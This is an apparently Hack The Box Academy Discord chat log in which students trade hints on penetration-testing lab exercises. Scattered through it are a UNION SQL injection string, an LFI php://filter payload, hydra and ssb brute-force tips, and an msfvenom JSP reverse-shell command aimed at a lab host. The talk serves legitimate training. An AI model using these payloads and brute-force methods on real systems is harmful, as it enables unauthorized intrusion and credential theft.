¯_(ツ)_/¯

[valid cipher]

im talking about firefox proxy

[fathom pendant]

Again not really related to any module it doesn't sound like

This sounds more like a question for #web

Like if you're that schizo about it, don't use webrtc

[valid cipher]

ok

is there any other way that can leak my ip

[fathom pendant]

Brother, no one cares enough about you to steal your ip

[acoustic owl]

Your IP will certainly be known at HTB through the VPN.

[vital quiver]

morning, notice the windows target for lab https://academy.hackthebox.com/module/158/section/1436 DNSCAT asked me if it can restart to upload updates now, maybe configuration err and updates should be disabled ? anyway notice target was bit slow.

[slender shoal]

Htb when they get @valid cipher s ip

[fathom pendant]

Read #welcome and #rules my dude

[slender shoal]

It's a bot I think

Posted on multiple channels @fathom pendant

[fathom pendant]

Or just copy/paste I didn't see their other messages and still don't lol

[slender shoal]

Yeah got deleted

[fathom pendant]

So if bot, automod whacked

[slender shoal]

Lmfao

Probably

[acoustic owl]

Whenever it connects to a website, or via VPN.

[naive wadi]

Go read Michael Bazzels book if you want try and be anonymous. Its probably the most comprehensive on the subject. Also The Hated One on YouTube.

[covert elbow]

Can anyone plz help me with student subscription? I signed up with my unis email but obviously not on a list. Who do I message to get it listed

@everyone

[fathom pendant]

Message website support

They'll look into your email and basically chuck it on a list

[covert elbow]

Where do I find it?

[fathom pendant]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

Should be a green bubble at the bottom right of the screen on any academy page

[covert elbow]

but theres no option to message them for me at all

[fathom pendant]

Select arbitrary article, react with sad face

[covert elbow]

I did still nothing

[fathom pendant]

Try reaching out to customer support email then

It's towards the bottom of the article I linked

You can also try clearing cache and logging back in

[fathom pendant]

I'm not an htb staff member, nor did I give consent to dm

There's an email in the article I linked

[burnt owl]

Hey I am stuck at Footprinting on the question: What is the customized version of the POP3 server? What do they mean with customized version? I have already answered the other questions but I am not really grasphing what they mean with customized version.

[fathom pendant]

So if you connected to the pop3 server, what is the version it gives you

That's basically what it asks you

"Customized version" is another way of saying "not default"

[burnt owl]

ugh had to copy all the text not just version

[fathom pendant]

Yes

[burnt owl]

I don't consider the fact that they changes some words in that banner to be part of the version

I could've also been "Peter POP3 V123"

[fathom pendant]

"Some words in the banner" who's to say they didn't actually manipulate the base software code for dovecot, to be implemented for the business (hypothetically)

[burnt owl]

Yeah, im just salty atm.

Thanks though for the help

[fathom pendant]

Go eat a snickers, you're not you when you're hungry

[burnt owl]

I am hungry atm lol

[lusty thicket]

[sullen torrent]

i ran this command nmap youtube.com -Pn --reason --top-ports=12 and got port 80 to be filtered, i ran this command nmap youtube.com -Pn --reason -p 80 and i got port 80 to be open.
w h y? ._.

(doing nmap module btw)

[vital adder]

https://nmap.org/book/legal-issues.html

if you don't want your ISP or the popo come knocking then i suggest you stop scanning random domain that you do not have permission to scan

[fading violet]

One message removed from a suspended account.

One message removed from a suspended account.

One message removed from a suspended account.

[compact patrol]

Get Started with the HTB Beginners Bible: https://www.hackthebox.com/blog/learn-to-hack-beginners-bible

[fathom pendant]

waits for the request to be illegal

[vital adder]

if it's academy related then ask here

[fading violet]

One message removed from a suspended account.

One message removed from a suspended account.

[fathom pendant]

Called it

[fading violet]

One message removed from a suspended account.

One message removed from a suspended account.

[fathom pendant]

I highly suggest reading #welcome and #rules

[vital adder]

real the #rules because you ask something dumb

[naive wadi]

Queue "how do hack tiktok or iPhone?"

[fading violet]

One message removed from a suspended account.

[acoustic owl]

or youtube

[fading violet]

One message removed from a suspended account.

[acoustic owl]

no

[naive wadi]

She lives in Canada but she's real

[fading violet]

One message removed from a suspended account.

[acoustic owl]

Is it emma?

[naive wadi]

Wait, you know Emma from Canada?

[fathom pendant]

@fading violet

[naive wadi]

Time + study = hacklord

[fathom pendant]

Not really

I mean that's kinda what academy is... help to learn hacking

And thm

You can have both?

Like curiosity leads to asking questions

Not understanding answers tends to lead to wanting more help than just study on your own

¯_(ツ)_/¯

[nova wharf]

Good morning everyone

[acoustic sparrow]

hey guys in need help. anyone finished the password attack easy lab i dont know which password list to use i used the one in the password list in the given reccouses and the mutated version but no luck

pls help ❤️

[acoustic owl]

You just need a little patience.
The list used is already correct

[gentle meteor]

help with a machine

anyone

or wrong area

[acoustic sparrow]

thanks bunny

[fathom pendant]

Read #welcome

[acoustic sparrow]

but is it correct that this list has p:94044 and could take up to 3-5 hours ?

[acoustic owl]

Use the list provided by the module.

not the mutated one

[acoustic sparrow]

hmm already did no luck on ssh or ftp i dont get why

im using hydra

[fathom pendant]

[fresh compass]

Hi! Im struggling with the Type Filters in the file upload attacks. Anyone can help me?

Im fuzzing the file extensions to avoid the whitelisting but everything upload properly but nothing works and executes

[fathom pendant]

The password though is definitely in the base passwords.list, alongside the username in username.list

[lusty thicket]

attacking ftp is faster

😉

[fathom pendant]

Yes

[rustic sage]

do you know what the client side is blocking/accepting?

[acoustic sparrow]

but it says in the qeustion to get the root password so i suppose i only use root for the username

[fresh compass]

Yes, I got my files uploaded but I can't execute them

[acoustic sparrow]

yeh doing both at the same time ftp is always way faster ^^

[fathom pendant]

That's the end goal

You must first figure out a base to start from

[acoustic sparrow]

Examine the first target and submit the root password as the answer.

[fathom pendant]

Yes

But you're not going to have the root password off the bat

[acoustic sparrow]

ah okay

[fathom pendant]

It wouldn't be a skill assessment if it was just one step

[rustic sage]

dm 🙂

[acoustic sparrow]

true

well lets see currently running now the right brute froce

[fathom pendant]

And start at ftp

[acoustic sparrow]

i do

does it slow down the ftp when i run a ssh at the same time?

[fathom pendant]

No but, ssh is gonna be fruitless

[acoustic sparrow]

gotcha buddy

defenetly makes more sense now 1 hour for the ftp

[fathom pendant]

If you just try ssh root@ip youll see why

You can use more threads for hydra btw

48 is recommended

64 can cause false negatives/positives

[acoustic sparrow]

yeh going for the recommended dont wanna crash the machine or get negetives and do it all over again

[fathom pendant]

Eh you won't crash the box

[vagrant orbit]

Is anyone available to help me with the Service Authentication part of the Brute Forcing module - none of the wordlists I am using seem to be working.

May I DM you?

[vital adder]

still need help with this?

[acoustic sparrow]

okay im in the machine used the ssh key i found now im trying to get the passwd and the shadow file to crack them but shadow file is protected cant copy read or transfer it am i missing something fam?

[tacit owl]

try privilege escalation to see if you can access shadow file

[acoustic sparrow]

yeh tought about it but its not part of the module thats why i dont think its the way to go also ingoing connections are restricted cant transfer anything in it just out

omg

found it

keep looking around guys

[sterile epoch]

Hi I am in the footprinting module snmp section I am stuck on the last question
Enumerate the custom script that is running on the system and submit its output as the answer.
I have found which script they were talking about

cat snmp_oid.txt | grep "flag"
iso.3.6.1.2.1.25.1.7.1.2.1.2.4.70.76.65.71 = STRING: "/usr/share/flag.sh"

but I do not get what I should do from here I tried feeding this to braa but got no result

┌─[eu-academy-2]─[10.10.15.210]─[htb-ac-399878@htb-smcw0q8zqo]─[~]
└──╼ [★]$ braa /usr/share/flag.sh@10.129.155.200:161:.3.6.1.2.1.25.1.7.1.2.1.2.4.70.76.65.71
┌─[eu-academy-2]─[10.10.15.210]─[htb-ac-399878@htb-smcw0q8zqo]─[~]
└──╼ [★]$ 

Can someone nudge me in the right direction?

[lusty thicket]

iirc the answer is supposed to be a flag

[analog dock]

Yup

You don’t need the script, you need the output

[lusty thicket]

maybe try waiting a little bit in the ||snmpwalk|| output

[lusty thicket]

😉

[sterile epoch]

yes I know but I do not get what to do with the oid

[lusty thicket]

do you really need it

😉😉

[sterile epoch]

I was hoping to run the script but I dont know how

[vagrant orbit]

./script.sh

[analog dock]

Just check the output

You know what flag format looks like right

[lusty thicket]

[analog dock]

https://tenor.com/view/blink-kid-sigh-ugh-mhmm-gif-15809387

[vagrant orbit]

Am I wrong 😆

[lusty thicket]

||snmpwalk|| recursively queries oids

[sterile epoch]

found it

[lusty thicket]

you’re absolutely right ✅

[analog dock]

Good

[sterile epoch]

I just looked in the output file long enough

Thanks guys

[analog dock]

You’re welcome

[fathom pendant]

Ah I see you found the answer

[acoustic sparrow]

yeh wasnt look to much around before i tried unshadowing passwd and shadow

now its time for the medium

scan shows port 22,139,445

[lusty thicket]

ez

[acoustic sparrow]

[fathom pendant]

Medium is arguably a bit rougher

But these skill assessments also play on your reading comprehension a bit too

[hallow kiln]

I found the assessments pretty straight-forward, just the module as a whole tedious

[acoustic sparrow]

yeh but my approach in the module is just password attacks because seeing this "22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
88/udp open|filtered kerberos-sec
137/udp open netbios-ns
138/udp open|filtered netbios-dgm
389/udp open|filtered ldap
500/udp open|filtered isakmp
520/udp open|filtered route
2049/udp open|filtered nfs
" could lead to lose alot of time testing other services for me is only ssh interesting at the time right?

[fathom pendant]

Is it though?

[acoustic sparrow]

idk yet currently found the user dennis and jason might try brute force my way into them

[hallow kiln]

having SSH access is great, but you basically look through everything else before touching SSH

[fathom pendant]

Good start

[fathom pendant]

If you need a nudge on what service to crack; read the target synopsis to narrow down your options

[acoustic sparrow]

well now that you say im seeing kerberos could be interesting

[fathom pendant]

Wrong

[hallow kiln]

nothing in the module talks about Kerberos

[acoustic sparrow]

but i need a foothold in the server thats why im going for ssh

[acoustic sparrow]

lol it does 🙂

[fathom pendant]

Why is your first instinct ssh?

I see another very juicy port to hit with the hammer

[acoustic sparrow]

it is because its the only service that we learned in remote password attacks

[hallow kiln]

my bad, you're right, but everything sle being on UDP, you're only interested in the three initial ports you got

[fathom pendant]

Perhaps, but did you need to brute ssh at all?

You were given alternative ports to hit every timr

[acoustic sparrow]

Samba smbd 4.6.2

[hallow kiln]

considering the users you found, I assume you're further down the assessment, or do you not have their passwords?

[fathom pendant]

Hint:this user is smart and doesn't reuse passwords for different services.

[fathom pendant]

Yep

Crackmapexec is a friend here

[acoustic sparrow]

thank you very much guys

[lusty thicket]

you don’t need to bruteforce

😉

[hallow kiln]

I didn't use crackmapexec either, but it can be used for sure

[fathom pendant]

Mostly bc I don't think hydra has an smb module

[fathom pendant]

Fair

I'm just saying an idea

[lusty thicket]

😉

[fathom pendant]

Because he's literally just digging at arguably the roughest brick wall without thinking: "surely there's an easier way"

And even then I don't think the ssh password is in the password lists

So spending who knows how long

[vagrant orbit]

Can relate to that

[tulip dragon]

Exploit the target using what you've learned in this section, then submit the name of the file located in htb-student's Documents folder. stuck here for long time need some hint/help

can't get the shell

[lusty thicket]

have you tried using what you learnt in that section

[fathom pendant]

^

That's usually a good start

[lusty thicket]

that’s what the question said to do

[fathom pendant]

which usually means "hey follow these instructions and maybe change like one or two things to get it to work" ¯_(ツ)_/¯

[lusty thicket]

ez

[acoustic sparrow]

lul got the password now its time too dig my boys

[versed tulip]

hello everyone i am new in htb academy

can anyone tell me that how we can see the answers of questions in the modules

to which we have access

[lusty thicket]

awesome

[lusty thicket]

you can’t

[versed tulip]

but as i am new i don't know how they want the answers

any idea

or module in which they have intorduced these things

[analog dock]

Just start, you’ll see

There’s a foundational path on academy

[versed tulip]

can u tell me in which module i can see that

[lusty thicket]

you can start with the information security fundamentals module

[sly dome]

just go over paths section

and start by starting

[versed tulip]

but i have bought student subscription

[orchid pine]

Dont you guys think if he is teally beginner he need to start with thm to get some basics

[versed tulip]

i am not begineer brother

[lusty thicket]

but you’re new

[versed tulip]

you can say that 🙂

as i am new in here

thanks boss this was really helpfull 🙂

[civic zenith]

Im stuck on the Active Directory BloodHound module. I need to find the rights that sarah has over nicole. So far I believe I have found them but it says they are not correct. Is there anybody who has done this module who can help?

I can DM about other things I have tried so far.

[covert sierra]

set your event code to filter out more stuff

[sly kelp]

Is there any hint about next module

[carmine hill]

@acoustic owl can I dm you regarding the HTTP Attacks module?

[acoustic owl]

sure

[acoustic owl]

Two modules should therefore still come

[acoustic owl]

If you still need help, you can send me a DM.

[rustic sage]

hello am new here

[unique tiger]

question about how learning modules are structured - are they intended to build on each other one after the other or are they intended to be self-contained?

[acoustic owl]

There are modules that build on the knowledge of other modules. But there are also modules that are self-contained.

[unique tiger]

many thanks!

[fathom pendant]

Most modules will at least build off the fundamentals (obviously)

[tiny reef]

I just finished the CBBH path, is Modern Web Exploitation Techniques a good module to unlock for further deepening my knowledge?

[kind turret]

Go for Whitebox Attacks first I would say

[fathom pendant]

I mean I'd assume so, but if you're planning to take the exam I'd try and avoid the more advanced modules for now. As you can overprepare yourself - and overthink simple things.

[tiny reef]

Not really thinking about the exam rn, as I don´t need it for job roles

Just doing the academy for knowledge for now

[fathom pendant]

That's fair lol and (unless they add content) you'll be fine to come back to it whenever and do it

[tiny reef]

I know a a little bit about prototype pollution, but the rest seems interesting.. I´ll go for whitebox for now

[subtle flicker]

Hi! i'm on SQL injection module, in the exploitation part, can i know why, in the SQL statements, the course say to use cn ' ... <SNIP>, i don't understand specifically the cn string, is there a particular reason?

This is an example:
||cn' UNION select 1,database(),2,3-- -||

[thorn urchin]

cn is just cause its a valid search query for that particular search functionality that youre injecting into

[subtle flicker]

So it's not mandatory? Have not much experience with SQL injections but i've never seen it on a statement

[thorn urchin]

cn isnt sql specific or anything

its just that for that injection youd like to have a valid result returned by the query

(you may be able to cut it entirely, idr)

cn is just a country name for that table, you could swap it for anything else in that page

[subtle flicker]

ok ok makes sense, thanks for the explanation!

[quiet ember]

Can someone compare notes with me on AD Enum and Attacks skills assessment 2?

[tulip dragon]

yeah

i had to reset the machine it work then

before it was giving the error

[loud sparrow]

sure dm me

[dapper wadi]

On the Cross Sire Scripting, XSS Discovery has anyone got the answer to question 2 that is accepted?

[haughty pond]

Hello guys, been stuck for several hours on AD Enum & Attack Skills assessment Part 2 :

Question

Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

I tried to catch MSSQLSVC hash via responder and xp_dirtree, but for every hash i got with that (||starting with SQL01$::INLANEFREIGHT:...|| i have hashcat which exhaust 😂

Is there someone who can hint me plz ?

[fading oracle]

hi guys!

Privileged Access module in Ad i cannot import to bloodhound

can someone help me how to do that? never used it before

[undone narwhal]

what other things can you try with Mssql apart from catching the hash? 🤔

[haughty pond]

Command exec & impersonation

I tried command exec to get a revshell but found nothing so i tried to catch the hash with some hope x)

[hallow kiln]

did you get the shell?

[haughty pond]

yes

[hallow kiln]

then keep looking after, check your privileges

[haughty pond]

hm... gonna back on this shell... ty boyz !

[fading oracle]

i am starting neo4j database but nothing is inside

[analog dock]

Look up a guide

[fading oracle]

i am running ./SharpHound Invoke-BloodHound - CollectionMethod All command but it does not find anything

[thorn urchin]

You have to import the data after its collected

the neo4j db wont automagically know

usually collectors have an option to output to a zip file and then you can just import the zip file, its a bit easier that way

[fading oracle]

What host can this user access via WinRM? (just the computer name)

however i change the answer it does not accept

i ran the query from the example

only showed 1 result

what am i doing wrong?

i have found 5 hosts in the network no one is accepted as a good answer

[undone narwhal]

have you tried stripping the domain name?

[fading oracle]

striping?

[undone narwhal]

removing

[fathom pendant]

Stripping

[fading oracle]

yes

[fathom pendant]

Striping is a different word

[fading oracle]

ACADEMY-EA-DC01 i did like this, tried just DC01, EA-DC01

and with all the other hosts too

[undone narwhal]

Make sure you have no spaces at the beginning and ending of your answer

[undone narwhal]

my bad

[thorn urchin]

which section again

[thorn urchin]

ah yup. make sure you dont have extra spaces

one of those is 100% correct

[fading oracle]

okey

thx

[round sable]

Hi, about Skills Assessment - Service Login first question, I generated a usernames list and a passwords list according to the requirements, and the number of total ssh login tries is around 100,000, I am getting no hit and it could take forever.
Could I get a hint how to reduce the lists ? or how long it should take ?

[sly dome]

check the hint

you should have no more than 15 users tho if you used username-anarchy

[round sable]

I used UsernameGenerator as required

[sly dome]

idk what is that

i use username-anarchy

[round sable]

Ok will try. I went with the requirement : "Also use 'usernameGenerator' to generate potential usernames for the employee. "

[sly dome]

wth is usernameGenerator

[round sable]

https://github.com/florianges/UsernameGenerator

[sly dome]

??? 2 stars

use what you learned in the module

[round sable]

I know, but why would they recommend it then ? it works ok

[fathom pendant]

I mean if it works it works

[sly dome]

yea xD you got no luck with it

you can brute force 100.000 tries with ssh

not feasible

cant**

[thorn urchin]

yes you can

[fathom pendant]

It's feasible, there's a tool that makes it better

I forget the name

[thorn urchin]

just depends on if you wanna risk dos'ing the ssh server

ssb

[fathom pendant]

I need to install it

[sly dome]

AH cool lets break the server then

[thorn urchin]

it works when it doesnt murder the server lmao

the defaults are just really aggressive, can def tone it down

[sly dome]

yes hydra tells you to adjust it

[thorn urchin]

it also doesnt auto stop when it finds a success

its still 1000x faster than hydra

(and I dont think Im even being facetious)

[sly dome]

anyways for that skill assessment you use username-anarchy and basic info about the user you find on google with cupp

it takes less than 1 minute to brute force it

[round sable]

Do you use -u to take less than 1 minute ?

[sly dome]

obviously otherwise it tries all passwords for 1 user

and then go with the next user

with -u it tries all user with 1 password

[round sable]

great, it took a few seconds with -u ...

[sly dome]

well next time use what you learned 😄

[thorn urchin]

https://github.com/pwnesia/ssb this is the tool I was talking about ftr

[sly dome]

thanks gonna be great to use it

[round sable]

-u just changes the order, you cannot know in advance if it will take less or more time

[sly dome]

what order?

-u loops around users

instead of looping around passwords

yes you can infere that it will find the combination quicker if you loop around the shortest list

in this case the users one

you can make the maths behind my assertion

[thorn urchin]

yeah on avg that will be shorter

unless the password list is weighted to the top with higher likelihoods

in which case shit gets funky

[sly dome]

rockyou case iirc

[rustic sage]

https://academy.hackthebox.com/module/23/section/1492

The http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config is not working

[sly dome]

because it is not config

you have to fuzz the site

[rustic sage]

by using seclists directory 2.3 medium right ?

[sly dome]

i think its a good list

[rustic sage]

in module its given directory 2.3 medium

[sly dome]

🤷‍♂️

[rustic sage]

this ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<SERVER_IP>:<PORT>/FUZZ.php

[thorn urchin]

I dont remember needing to fuzz. it but you def can

[rustic sage]

hmm

[sly dome]

the question itself asks you to fuzz it

[thorn urchin]

mb then

[sly dome]

you can always guess the name tho

xD

[rustic sage]

im trying xd

[sly dome]

just fuzz haha

[rustic sage]

why its fuzzing the file why not parameter

[sly dome]

coz u want to read a .php file with a credential in it

but you dont know the name of the file

[rustic sage]

hm yeah

[sly dome]

👌

[thorn urchin]

you can fuzz the parameter if you want to

it doesnt make a huge difference

fuzzing parameter is theoretically even better because there could be files the LFI could read that the web server would deny access to directly.

[sly dome]

those are shown if you use default ffuf config

[rustic sage]

yeah it doesnt matter

[sly dome]

it prints 403 along with 200

[rustic sage]

i got 302

xd

[sly dome]

302 in a file?

[rustic sage]

uh yeah

[sly dome]

weirdo

can u show the output

[rustic sage]

sure

[sly dome]

i mean its supposed to be a config file

[rustic sage]

no its config file

hold on im sending

[sly dome]

Fuzz the web application for other php scripts, and then read one of the configuration files and submit the database password as the answer

[rustic sage]

oh i dont have image perm

[rustic sage]

yeah i got it already i mean 302

[shut wraith]

Why are u always so mad f0x

[rustic sage]

anyways thanks everyone

[thorn urchin]

sure, if thats how they implemented the blocking 😉 a 403 doesnt tell you if the file actually exists or just was blocked because of a forbidden path name or such

[thorn urchin]

its my name cant you read

[sly dome]

sure

[shut wraith]

Yes but have u tried a chill pill. It's blue

[rustic sage]

you mean eternal blue ?

xd

[thorn urchin]

Have you tried a get good pill, its green

[shut wraith]

No i have been 1 year + as a skill issue learning basics still

I think any sane person would change hobbies

[thorn urchin]

thats rough buddy

Ive been here a year too

[shut wraith]

Btw u are in phone stuff do u install kali nethunter for ppl?

[inner hill]

I have a tattoo

[thorn urchin]

Id laugh them out of the store

[thorn urchin]

nobody cares read #rules #welcome

[shut wraith]

Fox strikes madly again

[inner hill]

Seek help incel

[thorn urchin]

Stay on topic moron

[novel matrix]

Yoo

[shut wraith]

Fox u are savage

[novel matrix]

wtf is going on

Let’s stay on topic

[thorn urchin]

Yes please

[shut wraith]

Is it just me or can u connect to htb module instances without vpn connection?

[fathom pendant]

You're probably connected and not realizing it

Or it's a public ip

[shut wraith]

Are u calling me a fool

[thorn urchin]

yes

or could be pwnbox

[fathom pendant]

[shut wraith]

U think I'm a no-good ignorant fool who can't use ifconfig command to see connections

[thorn urchin]

yeah kinda

[fathom pendant]

[thorn urchin]

feels like you just want to banter in the modules chat instead of actually discuss modules

[shut wraith]

I am reading but nothing is going through so calling it a day

Will be back tomorrow

[rotund urchin]

Can someone help me with the Mass IDOR Enumeration section in the Web Attacks Module? I am not getting the responses that are shown in the section.

[umbral yacht]

Can someone help me with the Python3 “The first Iteration” question. I’m having difficulty finding out the answer

[lusty thicket]

ask your question

[rustic sage]

hlo

[umbral yacht]

What’s the best way to find the 3rd most used word for a target website?

[quick magnet]

hi im stuck in Attacking Common Applications - Skills Assessment I last question, can't type or cat on flag.txt, is there any command can i use to read the flag ?

[thorn urchin]

I had issues too. My notes say that I moved the file to a different directory that let me use the vuln in question to read it directly.

[quick magnet]

oh finally i got it, thanks for the hint

[thorn urchin]

np

I def feel theres probably a better way to finish it, but I didnt figure it out at the time

[fathom pendant]

@hallow shale I'm not htb staff. Message website support my guy lol

[hallow shale]

I did it duh

[fathom pendant]

Cool lol hope you get it resolved

[hallow shale]

nope, thats why i talked to you, i dint know

[cedar void]

I tried the inet address with 'ens224' and it still would not listen. Then I tried the LPORT number 7800 instead of 4444 and it still did not establish a session:

msfvenom -p java/jsp_shell_reverse_tcp LHOST= 172.16.1.5 LPORT=7800 -f war > jenny.war

So I just retyped what I accidently typed in erratum. The 'war' file is specified the used incorrect? I copied it as I had from the cheat sheet in the module

[hallow shale]

i purchased the subscription with my mobile phone and it worked, finally 😫

[hallow kiln]

so what's the issue? you've got the .war file, you upload it and deploy it, set up the listener, open the file in the browser, but don't get a shell?

[lusty thicket]

you have 2 different ways to exploit that host

maybe you can find the other one

😉

[cedar void]

Nope

[cedar void]

It does say I have two upload vulnerabilities

[cedar void]

Do you see anything wrong with my command? I been executing the same command in the cheat sheet for a while now

[fathom pendant]

Maybe don't have a space after LHOST=